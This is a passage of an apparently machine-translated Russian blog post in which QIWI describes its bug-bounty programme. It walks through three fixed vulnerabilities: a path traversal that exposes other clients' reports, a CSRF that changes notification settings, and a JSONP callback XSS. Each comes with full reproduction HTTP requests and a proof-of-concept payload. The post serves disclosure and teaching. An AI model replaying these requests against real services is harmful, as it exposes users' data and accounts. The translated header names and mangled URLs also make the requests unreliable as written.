Не так давно мы в QIWI запустили интересную программу - это называется этический взлом .
По сути, мы привлекаем всех к поиску ошибок и багов в интерфейсах системы.
Нашёл ошибку, описал её в письме, получил вознаграждение от QIWI — так работает схема.
Когда программа только запускалась, контора разделилась на 2 лагеря: одни верили в успех и возможность помощи хакеров, другие скептически относились к этой идее.
Тогда сложно было судить объективно – у нас не было ничего, кроме вероятных прогнозов.
А сейчас – есть.
И мы просто хотим поделиться с вами нашими проверенными случаями.
С момента запуска программы мы получили информацию и исправили более 150 уязвимостей.
За отдельные уязвимости мы платили до 150 000 рублей, но публиковать их в примерах не можем.
Итак, программа стартовала.
У нас накопилось множество ошибок, которые мы исправили благодаря помощи хакеров.
Специально для вас мы выделили несколько примеров.
Несколько реальных историй о этических хаках.
История первая: читайте отчеты других людей.
Уязвимый хост: sms.qiwi.ru Тип уязвимости: обход каталога + слабая проверка идентификатора + отсутствие проверки сеанса.
Что позволяет: Читать чужие отчеты и получать сводку о клиентах компании и их действиях :) Где именно: sms.qiwi.ru/bo/monitor/get_excel_format.jspЭhtml_file_name=reports/13/41/14.dat&report_name=report7&file_name=report7.xls&report_instance_id=Как повторить: Укажите в конце нужный идентификатор отчета + его номера как каталог после Reports (123456 -> report/12/34/56.dat).
Вуаля, у вас чужой отчет :)
Полный GET-запрос с примером кражи чужого отчета:
GET /bo/monitor/get_excel_format.jspЭhtml_file_name=reports/13/41/14.dat&report_name=report7&file_name=report7.xls&report_instance_id= HTTP/1.1
Хост: sms.qiwi.ru
Пользовательский агент: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/536.28.10 (KHTML, например Gecko) Версия/6.0.3 Safari/536.28.10
Принять: text/html,application/xhtml+xml,application/xml;q=0,9,*/*;q=0,8
Источник: sms.qiwi.ru
Принять-кодирование: gzip, deflate
Принять-Язык: ru
Реферер: sms.qiwi.ru/bo/monitor/report_view.jspЭinstance_id=144114
Файл cookie: JSESSIONID=; __utma=200106670.88940096.1367226876.1367244987.1367247574.7; __utmc=200106670; __utmz=200106670.1367247574.7.5.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=site%3Aqiwi.ru%20inurl%Соединение: Keep-Alive
Прокси-соединение: поддерживать активность
История вторая: как можно было изменить настройки уведомлений.
Уязвимый хост ishop.qiwi.ru Тип уязвимости по классификации OWASP TOP 10 A8 — CSRF Где именно ishop.qiwi.ru/notificationSave.action Что позволит Уязвимость позволяет злоумышленнику изменить параметры уведомления (номер телефона, SMS и т. д.) пользователя, когда этот пользователь переходит на специально созданную злоумышленником страницу.
Как повторить 1. Войдите в систему под определенной учетной записью пользователя.
2. Настройте параметры уведомлений.
3. Выполните шаг 4 (тест).
4. Отправьте следующий запрос с помощью приложения BurpSuite или аналогичного, подставив полученные значения cookie сеанса (JSESSIONID) POST/notificationSave.action HTTP/1.1 Хост: ishop.qiwi.ru Пользовательский агент: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0 Принять: text/html,application/xhtml+xml,application/xml;q=0,9,*/*;q=0,8 Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3 Принять-кодирование: gzip, deflate Реферер: ishop.qiwi.ru/notifications.action Файл cookie: __utma=200106670.867508279.1368788962.1368788962.1369037765.2; __utmz=200106670.1368788962.1.1.utmcsr=(прямой)|utmccn=(прямой)|utmcmd=(нет); __utmc=200106670; JSESSIONID=;.
node-ishop04.1; __utma=47471167.1903908478.1369624211.1369650501.1369717004.6; __utmc=47471167; __utmz=47471167.1369717004.6.2.utmcsr=ishopnew.qiwi.ru|utmccn=(реферал)|utmcmd=referral|utmcct=/; __utmb=47471167.25.10.1369717004 Соединение: поддержание активности Тип контента: приложение/x-www-form-urlencoded Длина контента: 244 phone=&incomingBillMail=true&__checkbox_incomingBillMail=true&__checkbox_outgoingBillMail=true&__checkbox_incomingPayMail=true&__checkbox_incomingPaySMS=true&__checkbox_cancelPayMail=true&__checkbox_cancelPaySMS=true 5. Перейдите на страницу настроек уведомлений, убедитесь, что номер телефона и настройки уведомлений изменены.
Рекомендации по устранению
Добавьте скрытое поле формы, содержащее случайное значение — токен CSRF. www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet
История третья: произвольный код.
На сайте обнаружена ошибка w.qiwi.ru .Для параметра обратного вызова в сценарии /user/communication/sendsms.action не предусмотрена проверка или экранирование вывода.
На стороне клиента возможно выполнение произвольного кода.
Для проведения атаки регистрация пользователя в системе не требуется.
Пользователь должен открыть скрипт JavaScript, предлагаемый браузером.
Пример запроса GET /user/communication/sendsms.actionЭnumber=&text=111&callback=<> "'; HTTP/1.1 Хост: w.qiwi.ru Пользовательский агент: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0 Принять: текст/javascript, приложение/javascript, */* Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3 Принять-кодирование: gzip, deflate X-Requested-With: XMLHttpRequest Реферер: w.qiwi.ru/communication.action Файл cookie: __utma=153665022.317299647.1368525797.1368679677.1368684655.3; __utmz=153665022.1368684655.3.3.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=qiwi%20webmoney; JSESSIONID=.
node-wb02.2; __utmc=153665022; __utmb=153665022.34.10.1368684655 Соединение: поддержание активности Длина контента: 6 Отвечать HTTP/1.1 200 ОК Дата: четверг, 16 мая 2013 г.
, 08:16:14 по Гринвичу Истекает: суббота, 6 мая 1995 г.
, 12:00:00 по Гринвичу.
Управление кэшем: без сохранения, без кэша, обязательная повторная проверка.
Управление кэшем: пост-проверка=0, предварительная проверка=0 Прагма: без кэша Тип контента: текст/javascript;charset=utf-8 Длина контента: 142 Keep-Alive: таймаут=5, макс=100 Соединение: Поддержание активности <> "';({error:0,data:{"confirmedBySms":true,"confirmLink":"",,"provider":"199", "identifier":""},messages:[],errors: [ ],fieldErrors:[]}) Доказательство концепции В браузере Internet Explorer перейдите по адресу w.qiwi.ru/user/communication/sendsms.actionЭnumber= text=111&callback=WScript.Echo('XSS'); Во время тестирования использовался браузер Internet Explorer версии 9. Теги: #Qiwi #информационная безопасность #взлом #информационная безопасность
-
Бесплатный Игровой Клуб – Ответы
19 Oct, 24 -
Странный Смс-Спам От Хостинг-Провайдера
19 Oct, 24 -
Duke Nukem Forever Вышел В Свет
19 Oct, 24 -
Январский Рейтинг Языков Программирования
19 Oct, 24 -
Стадное Чувство Хабра
19 Oct, 24 -
Как Сайты Могут Удерживать Рекламодателей
19 Oct, 24